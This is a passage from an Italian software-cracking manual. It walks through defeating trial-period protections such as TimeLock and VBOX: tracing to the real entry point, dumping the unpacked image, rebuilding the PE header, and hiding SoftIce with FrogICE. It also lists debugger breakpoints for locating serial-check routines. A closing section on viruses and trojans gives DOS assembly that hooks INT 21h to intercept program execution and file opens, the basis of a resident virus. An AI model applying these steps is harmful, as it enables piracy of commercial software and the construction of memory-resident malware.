[esp+00000010] - 815fb5ac  .._.     ←- :00955008 push [esp+0C]
[esp+00000014] - 00a80000  ....     ←- :00955008 push [esp+0C]
```

La funzione PleaseTraceIntoMe_MrCracker contiene all'inizio :

```
?PleaseTraceIntoMe_MrCracker@@YGKKKPAEPAXKK@Z()
   :10013F20 mov eax, dword ptr fs:[00000000]   ←- SALVA IL VALORE
   :10013F26 push ebp
   :10013F27 mov ebp, esp
   :10013F29 push FFFFFFFF
   :10013F2B push 10015E8E
   :10013F30 push eax
   :10013F31 mov dword ptr fs:[00000000], esp   ←- E ORA LO SOSTITUISCE
   :10013F38 mov eax, 00006768
   :10013F3D sub esp, 00000004
   :10013F40 call TL31INJ.10029CB0
```

Prendiamo lo stato dello stack prima dell'istruzione :10013F31 mov dword ptr fs:[00000000], esp che salva ad un certo indirizzo quello dello stack.
Lo stato dello stack è ora

```
[esp+00000000] - 00b8ff68  h...     :10013F30 push eax
[esp+00000004] - 10015e8e  .^..     :10013F2B push 10015E8E
[esp+00000008] - ffffffff  ....     :10013F29 push FFFFFFFF
[esp+0000000C] - 00b8ff78  x...     :10013F26 push ebp
```

```
[esp+00000010] - 00955021  !P..     INDIRIZZO DI RITORNO MESSO DALLA CALL
                                    CORRISPONDE ALLA PUSH FFFFF DOPO LA CALL
                                    A PleaseTraceIntoMe_MrCracker
[esp+00000014] - e1f34295  .B..     FINO A QUESTO PUNTO LO ABBIAMO VISTO
[esp+00000018] - 63b51c5c  \..c
[esp+0000001C] - e6b0a125  %...
[esp+00000020] - 00000000  ....
[esp+00000024] - 815fb5ac  .._.
[esp+00000028] - 00a80000  ....
```

In contrapposizione ad alcune DLL eccessivamente complesse ne esistono di troppo scontate.
Ad esempio un certo programma xxxx.exe viene caricato con WDASM e dopo aver guardato quali DLL erano collegate ne risultava solo una appartenente al programma.

```
ADVAPI32.DLL
COMCTL32.DLL
COMDLG32.DLL
GDI32.DLL
KERNEL32.DLL
MPR.DLL
OLE32.DLL
OLEAUT32.DLL
SHELL32.DLL
SHRLK21.DLL           ←----------- QUESTA
USER32.DLL
WINMM.DLL
```

Guardando con ScanBin dentro a questa DLL veniva fuori:

```
Exported functions : c:\Windows\SYSTEM\ShrLk21.dll
==================================================
    0 GetDriveNumber
    1 GetStatus
    2 GetDLLVersion
    3 DoRegistration
    4 PassHandle
    5 ShowAboutDialog
    6 GetSerialNumber
    7 GetUserCompanyName
    8 GetUserName
    9 GetExpirationDate
   10 GetTryNumber
   11 InputUnlockCode
   12 GetTrialPeriodRemaining
   13 CheckProtectionDLL
```

Chiaramente salta subito all’occhio GetExpirationDate.
Clickando sulla DLL in WDASM viene richiesto se leggere la DLL.
Dopo averla letta analizzando le funzioni importate vengono mostrate appunto quelle funzioni.

```
CheckProtectionDLL
DoRegistration
GetDLLVersion
GetDriveNumber
GetExpirationDate
GetSerialNumber
GetStatus
GetTrialPeriodRemaining
GetTryNumber
```

GetUserCompanyName
GetUserName
InputUnlockCode
PassHandle
ShowAboutDialog
ShowAboutDialog

Metto subito n breakpoint su GetExpirationDate e mando in esecuzione il programma.
Spesso queste funzioni cosi vistose, se così si può dire, sono solo specchietti per le allodole.
Se voi doveste scrivere delle funzioni per proteggere un vostro programma gli dareste dei noi cosi ?
Comunque provare non costa nulla.
Generalmente se sono funzioni per creare confusione non vengono neppure chiamate, per cui mettendo dei breakpoints non vi fermerete mai in quei punti.
Usando SoftIce dovrete intervenire nel file winice.dat aggiungendo la linea :

EXP=<drive:><dir>\file.dll

Chiaramente dopo aver inserito questa aggiunta dovrete resettare e rileggere SoftIce.

VBOX INTORNO ALLA VERSIONE 4.xx

Una delle protezioni più famose è sicuramente VBOX la quale esegue una codifica sui file che protegge.
Il termine protezione non è adatto in quanto di fatto VBOX è quella che viene chiamata TIMELOCK ovvero quel modulo che permette di utilizzare il programma per X giorni.
In uno dei capitoli precedenti abbiamo visto diverse utilities tra cui alcuni Dumper.
Il bypass di VBOX necessità appunto di una di queste utility tipo SoftDump.
Il cracking del codice con TimeLock si esegue in tre passi:

1) **Con softice si passa sopra alle chiamate alle DLL tl*inj.dll e ci si scrive a mano da qualche parte il valore di eax – l' entry point reale.**

2) **Con SoftDump si salva in un file una porzione di codice sufficientemente lungo partendo dal punto precedente.**

3) **Eseguire la patch di questo codice dentro all' EXE**

Con VBOX la procedura è simile ma un po più complessa.
I file protetti con VBOX mantengono lo stesso nome dell'originale ma cambia qualche cosa nella struttura.
Differentemente dai valori degli usuali .reloc e .rsrc esso ha una sezione PREVIEW puramente virtuale e una sezione WeijunLi la quale contiene alcune linee di codice e i dati packati.
La protezione è composta da tre DLL: vboxp40, vboxb40 e vboxt40 di cui solo la prima è normale mentre le altre due sono packed.
Quando il programma protetto parte richiama **vboxp40.PreviewExecGate_By_WeijunLi** la quale esegue l'unpack dell'immagine del programma originale creando la sezione PREVIEW.
Essa esegue anche l'unpack di alcune altre piccole sezioni che eseguono delle chiamate all'unicha funzione esportata da vboxb40.dll le quali esegue a sua volta una call a **vboxt40.PreviewParadise_WJ**.

Per crackare VBOX è sufficiente attendere che questa faccia una parte del lavorodi unpacking e decrypting, salvare l'immagine con SoftDump e attaccare un nuovo header PE fatto da noi.
VBOX deve eseguire la funzione di lettore di se stesso, processare la sezione .idata, leggere i moduli GetProcAddress ecc.
Da questo punto inizia il lavoro vero e proprio.
Le informazioni sugli oggetti importati sono preprocessati e salvati in file files separati in forma fortemente encryptata.
Soltanto quando una passa tutti i checks allora le informazioni iniziano ad essere processate e la tabella degli indirizzi importati della sezione .idata vengono riempiti con gli indirizzi reali.
Così i contenuti originali della sezione .idata non sono mai esaustorati e quindi l'iniziale piano di attacco deve essere mutato.
Bisogna dire che anche in questo caso le informazioni potrebbero valere solo come principio dato che queste metodologie sono in continua evoluzione.
Chiaramente i metodi per la sprotezione vengono pubblicizzate per cui, dall'altra parte, i progettisti di questi sistemi continuano ad evolvere i loro software.
Tra le varie evoluzioni possono esserci sistemi adatti a rintracciare i debugger, diversi metodi di codifica in modo che programmi come certi DUMPER/DECODER non funzionino e cosi via.
Nelle versioni intorno alla 4.x di VBOX il concetto sul funzionamento di questo era, come spiegato prima, più semplice.
Nella vecchia versione di VBOX esisteva una chiamata ad una funzione che eseguiva la decodifica di quanto codificato e che ritornando conteneva in EAX l'indirizzo della funzione di dove era il programma o della funzione di Exit.
Il codice somigliava a :

```
call  00462345
push  0FFFFFFF
call  eax
```

La funzione che eseguiva l'unpack era quella specificata a 00462345.
Nelle ultime versioni le cose sono cambiate tanto che software come SoftIce necessitano di particolari modifiche al fine di nascondere il debugger stesso a VBOX.
FrogICE può servire a nascondere SoftIce.
FrogIce deve essere disabilitato mentre si legge il programma con il loader di SoftIce in quanto nasconderebbe anche al loader lo stesso.
Quella che segue è la maschera che viene fuori con SoftIce.
Se si cerca di leggere le informazioni riportate da alcuni programmi come ScanBin si ha come risposta :

```
General informations : e:\Programmi\DeepPaint\DeepPaint.exe
============================================================
Last update      : 10/10/99
File size        : 196 608 byte(s)
Module type      : not DOS or WINDOWS executable
```

Anche WDASM nell'ultima versione di VBOX crea problemi fin dall'inizio.
Effettivamente esiste una differenza buona tra il codice creato tra WDASM e quello generato da IDA.

```
:007571E2 or eax, esp
:007571E4 xor eax, esp
:007571E6 xor eax, ebp
:007571E8 or eax, ebp
:007571EA xor ah, al
:007571EC xor eax, ebp
:007571EE xor eax, ebp
:007571F0 mov eax, ebp
:007571F2 xor eax, ebp
:007571F4 mov eax, ebp
:007571F6 dec eax
```

Il codice si riferisce ad una nuova versione di VBOX con cui WDASM fa a botte.
Il codice generato da IDA invece è :

```
PREVIEW:00401000   ; File Name   : E:\Programmi\DeepPaint\DeepPaint.exe
PREVIEW:00401000   ; Format      : Portable executable (PE)
PREVIEW:00401000   ; Section 1. (virtual address 00001000)
PREVIEW:00401000   ; Virtual size                  : 00355A24 (3496484.)
PREVIEW:00401000   ; Section size in file          : 00000000 (      0.)
PREVIEW:00401000   ; Offset to raw data for section: 00000000
PREVIEW:00401000   ; Flags E0000020: Text Executable Readable Writable
PREVIEW:00401000   ; Alignment     : 16 bytes ?
PREVIEW:00401000   ; Exported entry 332. ?MemSize@CDIBLite@@QAEHXZ
PREVIEW:00401000
PREVIEW:00401000   p586
PREVIEW:00401000   model flat
PREVIEW:00401000
PREVIEW:00401000   ; Segment type: Pure code
PREVIEW:00401000   PREVIEW         segment para public 'CODE' use32
PREVIEW:00401000   assume cs:PREVIEW
PREVIEW:00401000   ;org 401000h
PREVIEW:00401000    assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:n
ot
PREVIEW:00401000   public ?MemSize@CDIBLite@@QAEHXZ
PREVIEW:00401000   ; public: int __thiscall CDIBLite::MemSize(void)
PREVIEW:00401000   ?MemSize@CDIBLite@@QAEHXZ      dd     4 dup(?)
PREVIEW:00401010   ; Exported entry  10. ??0CDIBLite@@QAE@AAV0@@Z
PREVIEW:00401010   public ??0CDIBLite@@QAE@AAV0@@Z

WeijunLi:00757000  ; Section 2. (virtual address 00357000)
WeijunLi:00757000  ; Virtual size                  : 00138A04 (1280516.)
WeijunLi:00757000  ; Section size in file          : 00138A04 (1280516.)
WeijunLi:00757000  ; Offset to raw data for section: 00000400
WeijunLi:00757000   ; Flags E2000060: Text Data Discardable Executable Readable
Writable
WeijunLi:00757000  ; Alignment     : 16 bytes ?
WeijunLi:00757000  ; Segment type: Pure data

WeijunLi:00757000  WeijunLi        segment para public 'DATA' use32
WeijunLi:00757000  assume cs:WeijunLi
WeijunLi:00757000  ;org 757000h
WeijunLi:00757000             db  8Ah        ; Š
WeijunLi:00757001             db  11h        ;
```

Dentro alla sezione WeijunLi esiste lo START la cui ultima istruzione comprensibile equivale al salto alla routine **loc_757241.**
Dopo il salto e prima di tale riferimento esistono solo dati non identificati come istruzioni.

```
; ________________ S U B R O U T I N E _______________________________________

            public start
start       proc near
            sub   eax, ebp
            or    eax, ebp
            xor   eax, eax
            mov   eax, ebp
            xchg  ah, al
            or    eax, esp
            xor   eax, esp
            xor   eax, ebp
            or    eax, ebp
            xor   ah, al
            xor   eax, ebp
            xor   eax, ebp
            mov   eax, ebp
            xor   eax, ebp
            mov   eax, ebp
            dec   eax
            xor   eax, ebp
            jz    short $+2
            dec   eax
            dec   eax
            sub   eax, ebp
            mov   eax, fs
            jz    short $+2
            xor   eax, eax
            inc   eax
            jnz   short $+2
            sub   eax, ebp
            jnz   short $+2
            jmp   short loc_757241
```

Come è possibile vedere il codice salta alla fine a loc_757241.

```
; ---------------------------------------------------------------------------

loc_757241:                       ; CODE XREF: start+34 j
            push  ebp
            mov   ebp, esp
            add   esp, 0FFFFFFE8h
            push  esi
            push  edi
            mov   esi, offset unk_757054
            mov   eax, [ebp+8]
            mov   [esi+54h], eax
            push  dword ptr [ebp+0Ch]
            pop   dword ptr [esi+58h]
            mov   eax, [ebp+10h]
            mov   [esi+5Ch], eax
            push  esi
            call  sub_757271
            pop   edi
            pop   esi
            leave
            retn  0Ch
start       endp ; sp =  4

; ---------------------------------------------------------------------------
```

DIFFERENZE TRA I VARI DISASSEMBLATORI

Abbiamo visto le caratteristiche di vari programmi considerati come i ferri del mestiere per il cracking.
Sicuramente tanti programmi, anche indispensabili, possono essere considerati collaterali ma sicuramente i debugger/disassemblatori sono quelli fondamentali.
Ne esiste, coma abbiamo visto, un ampia scelta, tutti c0on caratteristiche simili ma spesso con funzioni uniche.
Quali sono i migliori e quali conviene usare ?
Una risposta certa non esiste proprio per il fatto che alcune funzioni, utili in certi casi, sono presenti solo in alcuni di questi e quindi la valutazione deve essere fatta caso per caso.
La soluzione migliore è quella di disporre di tutti e di usare al momento giusto quello che possiede le caratteristiche migliori per quel momento.
Bisogna subito distinguere la differenza fondamentale.
Esistono debugger che permettono di eseguire step by step il codice ed esistono disassemblatori che invece creano i sorgenti in assembler del programma in questione.
WDASM ad esempio è un debugger/disassemblatore in quanto svolge tutte e due le funzioni.
IDA è invece un potente disassemblatore.
SoftIce è un debugger e cosi via considerando SOURCER, WinDbg ecc.
Vediamo i debugger per capire quali sono le differenze sostanziali.
La validità di un debugger non è tanto il modo con cui riesce a ricreare il sorgente (in fase di debug avere ricostruite le strutture, le direttive ecc. non è particolarmente interessante).
Da parte di un debugger è invece da considerare la varietà dei metodi di visualizzazione dei dati e quella dei breakpoint disponibili.
Esistono debugger che permettono di settare breakpoint molto semplici come ad esempio quelli relativi ad un indirizzo specifico (fermati quando questa istruzione viene eseguita) ma non dispongono di altri che permettono di identificare eventi particolari.
Ad esempio SoftIce che è sicuramente quello più complesso per la varietà di breakpoint che possiede permette di settare breakpoint condizionali sfruttando un suo linguaggio, breakpoint su messaggi specifici di Windows, sulla chiamata di particolari funzioni importate ecc.
WDASM invece è molto più semplice come varietà permettendo solo alcuni breakpoint su chiamate ad Api di Windows, su certe linee e pochi altri tipi.
Esiste un'altra differenza sostanziale tra WDASM e SoftIce.
Il secondo è un debugger di sistema.
Che cosa significa questo ?
Quando in WDASM caricate un programma il sorgente assembler visualizzato, quello che potete seguire, è soltanto relativo a questo e quindi anche i breakpoint potete inserirli solo su questo.
SoftIce invece essendo di sistema vi mostra il codice che il sistema stà eseguendo in quel caso.
Windows possiede moltissimi processi attivi in concorrenza compresi i suoi interni come quelli ad esempio destinati a gestire il multitasking.
Quando voi chiamate SoftIce potreste avere la visualizzazione del codice che sta eseguendo in quel istante che potrebbe essere anche relativo a funzioni sue del sistema operativo, di drivers ecc.
SoftIce dispone di una grossa gamma di funzioni legate alla visualizzazione di informazioni.
Ad esempio esistono i comandi per visualizzare i dati dei TASKS attivi, dei processi, delle Windows ecc.
Nei comandi di creazione dei breakpoint SoftIce dispone della possibilità di specificare tra i parametri i valori dei tasks, processi o windows a cui volete che sia riferito quest’ultimo.
Generalmente potreste chiedere che l’esecuzione venga sospesa nell’istante in cui viene chiamato un messaggio WM_DESTROY, ad esempio.

Si. Ma a quale finestra vi interessa che sia riferito il messaggio ?
In quell'istante potrebbero esserci diverse finestre attive.
Mediante il comando HWND potreste richiedere d avere listati gli handles delle windows attive e successivamente utilizzare il valore relativo a quella che vi interessa per settarlo come parametro.
Specificando :

BMSG 00CE WM_DESTROY

Specifichereste che il sistema dovrebbe interrompere l'esecuzione nel caso in cui si verifichi un messaggio WM_DESTROY relativo all'handle della Window 00CE.
Chiaramente un debugger come SoftIce è enormemente più potente di WDASM ma anche molto più complesso tanto che spesso e volentieri WDASM è molto più indirizzato a svolgere certe funzioni.
A volte usare un camion in città diventa più complesso che usare un 500.
WDASM inoltre dispone di una serie di finestre in cui le informazioni necessarie sono ben strutturate e visualizzate dentro a queste senza che dobbiate richiedere mediante comandi la visualizzazione di certe informazioni.
Spesso i sorgenti assembler fanno riferimento ai registri utilizzati con valori d'indice.

Mov eax+10h, 34h

WDASM dispone di tutti i valori relativi ai registri i una comodissima finestra.
SoftIce invece deve richiedere sempre con i comandi specilizzati la visualizzazione delle informazioni di questo tipo.
Spesso la ricostruzione del sorgente richiede diversi passaggi da aparte dell'analizzatore.
WDASM prima di visualizzare il sorgente esegue un analisi mentre SoftIce visualizza brutalmente la memoria come la vede in quell'istante.
Infatti WDASM si riferisce ad un solo programma per cui prima di inziare l'esecuzione può permettersi di eseguire le varie passate relative alla ricostruzione del sorgente assembler.
SoftIce riferendosi a tutto il software i memoria non può fare altro se non visualizzare un brutale assembler con al massimo la soffisticazione di visualizzare il nome del segmento!nomedellafunzione invece dell'indirizzo, dentro ad una call o ad un salto.
Nel capitolo relativo alla prefazione alle ricerche abbiamo parlato sulla teoria generale legata a cosa cercare per individuare certe funzioni.
Alcune volte, abbiamo visto, la vita è semplice perché mediante la ricerca di semplici GetDlgItemText identifichiamo subito dove sono posizionate le routines relative alla serializzazione di un programma.
In questo caso l'utilizzo di WDASM è da consigliare rispetto a SoftIce.
Altre volte la vita diventa complicata e l'individuazione di certe funzioni deve essere eseguita tramite breakpoint molto complessi cose che WDASM non possiede.
In questo caso SoftIce diventa indicato.
In altre parole si deve ripetere la metafora che ho utilizzato poco prima.
Se dovete fare un lavoro molto pesante allora usate un camion tenendo presente che avrete difficoltà a fare manovre.
Se invece il lavoro si presenta semplice prendete un utilitaria.
Avrete la vita più semplice.
SoftIce permette la creazione di diversi tipi di breakpoint diversificandoli anche per tipo di utilizzo di questi.
Innanzi tutto la gestione dei breakpoint permette che questi vengano creati da altri breakpoint.
Costrutti tipo :

bpx addr do "bpx addr"

permettono di creare il secondo breakpoint quando si verifica il primo.
Una delle differenze maggiori stà nel fatto che generalmente i breakpoint vengono settati sull'esecuzione di specifici indirizzi di memoria.

SoftIce permette di specificare se i breakpoints devono essere settati sulla lettura, scrittura o esecuzione degli specifici indirizzi.
SoftIce inoltre permette di generalizzare i breakpoint relativi a certe funzioni importate.
In altre parole è possibile specificare di fermare l'esecuzione nel caso di una chiamata ad una funzione con :

bpx GetDlgItemTextA

In WDASM invece è possibile richiamare la finestra delle funzioni importate e clickando sulle funzioni desiderate posizinarsi su ciascuna di queste nel punto dove sono situate nel programma inserendo i breakpoint dove si vule.
Se nel programma esistono 50 richiami ad una specifica funzione sarà necessario clickare 50 volte posizionandosi su ciascuna di queste e settando dove si vuole il breakpoint.
Volendo riassumere i vantaggi e gli svantaggi di WDASM e di SOFT ICE :

WDASM	SOFTICE
Visualizzazione dei valori dei registri + indici in una comoda window.	Visualizzazione dei valori da richiedere tramite comandi.
Numero di valori visualizzabili stabiliti da quelli in una finestra con due valori utente realtivi ad indirizzi di memoria specificabili al momento.	Numero illimitato di valori visualizzabili in varie finestre dati.
Sorgente assembler elaborato in più passaggi e quindi abbastanza dettagliato.	Sorgente assembler brutale legato al codice in memoria.
Breakpoint limitati a numero di linea dell'istruzione. Breakpoint legati alla chiamata di API windows.	Tipi di breakpoint elevato creati anche tramite linguaggio di SoftIce che permette lacreazione di breakpoint condizionali. I breakpoint sono la forza di SoftIce.
Visualizzazione soltanto del codice del programma richiesto.	Visualizzazione di tutto il codice nel sistema.
Possibilità di salvare il sorgente.	Sorgente non salvabile.

In questa panoramica non ho preso in considerazione altri debugger perché troppo amatoriali oppure perché indirizzati ai sorgenti.
Mi riferisco ai debugger forniti con i linguaggi Borland e Microsoft che dispongono di tante funzioni da usare con i propri linguaggi mediante compilazione debug di questi e quindi con le informazioni simboliche interne.
Tra questi troviamo coolDB32 il quale incorpora al suo interno diverse utilities

quali un HexViewer, un Dump e un disassembler.
Ricordo sempre che la difficoltà in questo settore è quando si ha a che fare con sistemi packati per cui l'utilizzo del semplice debugger non è sufficiente o perlomeno non è così semplice come potrebbe esserlo con un altro programma.

Ora prendiamo in visione i disassemblatori e precisamente WDASM, IDA e SOURCER.

WDASM lo abbiamo già visto parlando della sua parte debugger.
Sourcer è sicuramente uno dei più vecchi.
Me lo ricordo almeno dal 1987 quando era sicuramente uno dei pochissimi (se non l'unico).
In tutti questi anni ha mantenuto la stessa interfaccia in ambiente DOS nella quale è possibile specificare tutti i parametri reativi alla metodologia di visualizzazione e di analisi dei programmi.
La traduzione dei sorgenti assembler relativi a prohgrammi Windows deve avvenire mediante due programmi forniti nel pacchetto.
Il primo esegue una prima analisi di questo tipo di programmi.
WINP esegue un preprocessing del file eseguibile eseguendo il dump NE e usando file .DTA forniti con il pacchetto per la creazione di un modulo utilizzabile da SOURCER vero e proprio.
Il programma creato prende l'estensione WDF.

```
E:\Sourcer>
E:\Sourcer>winp WINRAM~1.EXE
Windows Source Preprocessor                  V3.02 s/n SW123456 (970324)
Copyright (c) 1992-97 V Communications Inc.     All rights reserved.
Copyright (c) 1992-95 Andrew Schulman.          All rights reserved.
Copyright (c) 1995-97 Clive Turvey.             All rights reserved.
Running DumpNE (may take a few minutes)
Running DumpPE
Using .DAT file: E:\sourcer\WIN32.DAT
Dumped resources to WINRAM~1.r
Done -- results in WINRAM~1.wdf -- run \sourcer\sr WINRAM~1.wdf
```

SOURCER dispone di alcuni flag che permettono di specificare il formato del file ottenuto (.lst o .asm), di specificare il tipo di formattazione e le informazioni riportate (codici operativi a fianco istruzioni ecc.)
Inoltre è possibile settare molti flags relativi al tipo di analisi eseguita.
Nella maschera principale il comando (T) permette di specificare il TARGET ASSEMBLER che può essere relativo a MASM 5.0, MASM6.1, TASM e tanti altri.
E' inoltre possibile specificare il numero di passate (fate attenzione che un numero maggiore non euivale ad una miglior interpretazione), il tipo del processore e tante altre cose.
Il RE comunque rimane IDA che è possibile trovare in tante versioni tra cui una didattica FREEWARE.
Chiaramente non ho mai parlato della difficoltà di reperire il software in quanto penso che sia proprio l'ultimo dei problemi.
IDA è fantastico.
In tutti i lavori ho sempre creato un sergente con IDA di cui le parti più significative le ho stampate.
I parametri relativi alla creazione dei sorgenti sono svariati come svariate sono anche le funzioni per la visualizzazione e la ricerca di certi punti.
Questo a fianco è un collage con le principali opzioni presenti nei menu di IDA 3.84 (l'ultima alla data di settembre 1999).

IDA, non mi stanco di ripeterlo, è sicuramente il migliore come disassemblatore.
La ricostruzione del sorgente assembler è impeccabile e precisa.
Nessun disassemblatore fino ad ora visto raggiunge una simile precisione.
Fate attenzione che parlando di disassemblatori potremmo trovare la problematica di ritrovarci davanti a dei

programmi con segmenti codificati con sistemi come shrinker ecc.
Il lavoro in questo caso deve essere fatto abbinando sapientemente il disassemblatore con dumper specifici che siano in grado di individuare e decodificare quel tipo di packer.

```
                              ; DATA XREF: sub_0_45606C+118 o
            align 4

; _______________ S U B R O U T I N E __________________________________


sub_0_456244      proc near         ; CODE XREF: sub_0_453618+1E p
                                    ; sub_0_45498C+3 p ...
            mov   ds:dword_0_45B078, 20h
            push  offset dword_0_45B078
            call  j_GlobalMemoryStatus
            mov   eax, ds:dword_0_45B084
            retn
sub_0_456244      endp

; ---------------------------------------------------------------------------
```

L’esempio precedente è una routine disassemblata da IDA.
IDA inoltre riesce a disassemblare un numero abbastanza elevato di processori differenti da quelli della famiglia Intel, anche se questa non è sicuramente una delle caratteristiche che ci interessano.
Il risultato dell’analisi tra i tre disassemblatori possiamo riassumerlo molto semplicemente.
WDASM mantiene il miglior rapporto prestazioni/funzioni in quanto permette di debuggare e di avere il disassemblato migliore di quanto lo sia quello di SoftIce.
Chiaramente potendo avere IDA sicuramente disporrete del massimo.
Valutazioni particolari vanno comunque fatte in relazione ai disassemblatori quando incontrano programmi protetti.
Chiaramente avere un ottimo sorgente assembler può essere un aiuto anche se la cosa principale è quella di avere sempre sott’occhio i valori derivati dall’elaborazione.

RIASSUNTO DELLE FUNZIONI PIU’ UTILIZZATE NELLE RICERCHE

Funzioni per lettura e scrittura in files

ReadFile
WriteFile

Funzioni per la richiesta di informazioni sui file

SetFilePointer

GetSystemDirectory
GetSystemDirectoryA

Per la lettura o scrittura in file .ini

Per aplicazioni a 16 bits

GetPrivateProfileString
GetPrivateProfileInt
WritePrivateProfileString
WritePrivateProfileInt

32 bits

GetPrivateProfileStringA
GetPrivateProfileIntA
WritePrivateProfileStringA
WritePrivateProfileIntA

Accesso ai file ramite interrupt

bpint 21 if (ah==3d)
bpint 2f if (ah==01)

Funzioni per il registro

Creazione voci

RegCreateKey
RegDeleteKey

RegCreateKeyA
RegDeleteKeyA

Lettura e scrittura valori

RegQueryValue
RegQueryValueA

Apertura e chiusura chiavi registro

RegCloseKey
RegOpenKey

RegCloseKeyA
RegOpenKeyA

Dialog Boxes

Lettura testo e interi

GetWindowText
GetDlgItemText

GetWindowTextA
GetDlgItemTextA

GetDlgItemInt

Apertura MessageBox

MessageBox
MessageBoxA
MessageBoxExA
MessageBeep

Altri metodi per visualizzare e preparare testi

SENDMESSAGE
WSPRINTF

Creazione windows, dialogs e altre varie

DialogBox
DialogBoxParam(A)
CreateWindow   }
ShowWindow }   ""

Funzioni per il tempo

GetSystemTime
GetLocalTime

SystemTimeToFileTime

Generazione Window

createwindow
createwindowexa
showwindow

bitblt (a type of memory move, similar to hmemcpy)

CD-ROM Calls

GetDriveType   (if eax=5 then it is a cdrom check)
GetDriveTypeA

GetDriveType Return Function codes:

Value	Meaning
0	Drive Cannot Be determined
1	Root Dir Does not exist
2	DriveRemoveable
3	A Fixed Disk (HardDrive)
4	Remote Drive(Network)
5	Cd-Rom Drive
6	RamDisk

GetLogicalDrives
GetLogicalDrivesA

GetLogicalDriveStrings
GetLogicalDriveStringsA

Altre informazioni CDROM

interrupt 2f is the mscdex interrupt

bpint 2f, al=0 ah=15 checks if mscdex installed

try breaking on file accesses as well

Input numerico sotto window

GETWINDOWWORD
GETWINDOWLONG

Altri breakpoints possibili

BOZOSLIVEHERE
HMEMCPY
GLOBALGETATOMNAME

message breaks

BMSG xxxx WM_GETTEXT   (good for passwords)
BMSG xxxx WM_COMMAND   (good fro OK buttons)

Xxxx stà per l’handle della finestra

VIRUS E TROJAN HORSES

Quando abbiamo parlato degli interrupts abbiamo visto che esiste la metodologia per leggere l'indirizzo di uno d questi e per settare una nostra routine come vettore d'interruzione.
Inoltre mediante l'interrupts di timer è possibile creare processi concorrenti a quelli esistenti o in ogni caso è possibile intercettare eventi ed attivare procedure residenti.
Molti interrupts controllano le varie periferiche e quindi quando capita un evento questi vengono richiamati con particolari codici di servizi, normalmente settati nei registri, che noi possiamo intercettare e quindi agire di conseguenza.
Il volume che avevo scritto nel 1986 trattava questo tipo di programmi per cui chi volesse approfondire l'argomento lo posso rimandare a questo.
In questo volume ci interessa l'argomento solo per il fatto che tramite questa tipologia di programmi possiamo creare cavalli di troia per inserire ne9i sistemi programmi atti al controllo di questi.
Vedi il famoso BACK ORIFICE che viene installato da un altro programma e da quel momento in avanti permette ad un sistema remoto di controllare il computer ignaro di avere BO installato.
Un programma residente in memoria (TSR - Terminate and Stay Resident) è un programma che lascia una porzione di se stesso in memoria.
Normalmente è composto da due parti e precisamente la parte che legge e salva gli indirizzi dei vecchi interrupts e quella che viene settata come nuova porzione residente.
Come dicevo prima un programma residente, grazie all'interrupt di timer, può essere sempre attivo in concorrenza con gli altri programmi caricati oppure può essere disattivo in attesa di un vento che lo faccia entrare in funzione.
Ad esempio potremmo salvare l'interrupt del disco, settare l'indirizzo della nostra routine come nuovo indirizzo dell'interrupts.
Dentro al nostro programma potremmo controllare per quale motivo è stato richiamato l'interrupts e successivamente rilanciare l'esecuzione alla vecchia procedura o eseguire qualche cosa di nostro.
Il flusso sarebbe :

Salva vecchio indirizzo INT
Setta indirizzo nostra funzione
Chiamata Asincrona
Nostra funzione.
Ci interessa ?
No. Richiama vecchio INT.
Si. Esegui nostra funzione.

Molti TSR (utili) potevano essere attivati con certi tasti (CTRL+ALT+1) e quindi modificavano in modo da poterlo intercettare l'interrupt di tastiera.

Altri attendevano un evento sulla seriale.
Insomma.
Possono essere 100.000 i motivi che possono attivare un TSR.
Tanti anni fa, quando scrissi il volume legato all'uso degli interrupts mediante C fu detto che lo scopo era quello di scrivere virus.
Voglio precisare che anche se le tecniche riportate su questo volume sono utilizzabili per scopi maldestri il vero scopo è quello di vedere il lato tecnico in quanto, io personalmente, non utilizzerei mai e poi mai un virus per rompere le scatole al prossimo.
La cosa interessante è l'indieme di metodologie legate a questo argomento.
Per un po ho pensato di non inserire questa parte nel volume ma poi alla fine le argomentazioni erano troppo interessanti per essere tralasciate.
MCB, PSP e DTA sono i condimenti per questo capitolo.
Un virus deve sfruttare il basso livello visto che non può sfruttare librerie e cose simili che facciano divenire un programma di 2000 bytes uno di 30 Mbytes.
Non è possibile fornire un setup e un CD per installare un virus p'er cui se deve allocarsi memoria senza farsi accorgere deve andare a vedere come è strutturato il MCB e deve modificarselo.
Ripeto che desidererei fosse vista solo la componente tecnica dell'argomento.
Nel limite del possibile usate le teorie per scrivere programmi utili che lasciandoli tra il PD software potebbero condurvi a quel bricciolo di notorietà che un virus non vi può dare (a meno che non siate tanto fessi da scrivere sul virus ((C)Copyright di xxxxx).
Se decideste di farlo datevi un occhiata alle spalle prima di entrare in casa !
Anche i virus si basano su questa tecnica al fine di rimanere residenti in memoria.
La prima parte di un software di questo tipo è quella che esegue il salvataggio
Come abbiamo detto nell'apposito capitolo, un interrupts è sostanzialmente una funzione del BIOS o del DOS che un programma può richiamare.
Esistono due funzioni del principale interrupt DOS (INT 21h) che permettono di leggere e di settare gli indirizzi di dove si trova il corpo di un interrupt.
Lre funzioni sono precisamente le :

AH = 35h (Get Interrupt Vector)
AL = Interrupt Number

I valori di ritorno sono :

AX = Unchanged
ES = Interrupt Handler Segment
BX = Interrupt Handler Offset

La funzione dell'int 21h che invece setta un interrupt è :

AH = 25h (Set Interrupt Vector)
AL = Interrupt Number
DS = New Handler Segment
DX = New Handler Offset

;Assume that DS = CS as in a .COM file.

Il seguente sepzzone di codice richiede l'indirizzo di un interrupt, lo salva e lo risetta con un altro codice.

```
Get_Interrupt_Address:
      mov     ax,3521h        ;Get Old Int 21h Address
      int     21h

      mov     word ptr [Int_21_Segment],es    ;Save old address
      mov     word ptr [Int_21_Offset],bx

Set_Interrupt_Address:
      mov     ax,2521h
```

```
	mov	dx,offset Int_21_Handler	;DS:DX = Int_21_Handler
	int	21h			;Set the new handler


Int_21_Handler:
	cmp	ah,4bh			;Check for activation
	je	execute_a_program	;conditions by looking
	cmp	ah,3dh			;at the function numbers
	je	open_a_file		;of Int 21 that you wish
				;to intercept.  Make sure
				;to save any registers that
				;you change inside the
				;various handlers!!!!!!
Go_Int_21:
	db	0eah			;This simulates a far jump
Int_21_Offset	dw	0		;to the old interrupt handler.
Int_21_Segment	dw	0		;(0EAh is code for a far jmp.)
```

Ricordatevi sempre che un interrupt può essere chimato in qualsiasi momento per cui al suo ritorno l'ambiente deve essere esattamente come quando è stato chiamato.
Questo significa che devono essere salvati tutti i valori dei registri che verranno modificati dal codice dell'interrupt.
